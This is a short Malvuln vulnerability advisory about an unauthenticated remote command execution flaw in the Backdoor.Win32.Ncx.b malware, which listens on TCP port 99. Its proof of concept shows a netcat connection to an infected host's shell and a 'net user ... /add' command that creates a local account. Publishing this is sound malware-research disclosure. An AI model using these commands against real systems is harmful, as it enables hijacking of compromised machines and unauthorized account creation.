Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Ncx.b  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 99. Third-party attackers who can reach an infected system can execute OS commands further compromising the host.  
Type: PE32  
MD5: 991c1f02c809cee860cb712896a45338  
Vuln ID: MVID-2021-0421  
Disclosure: 12/11/2021  
nc64.exe x.x.x.x 99  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
C:\Users\Victim\Desktop>net user HYP3RLINX HELL /add  
net user HYP3RLINX HELL /add  
The command completed successfully  
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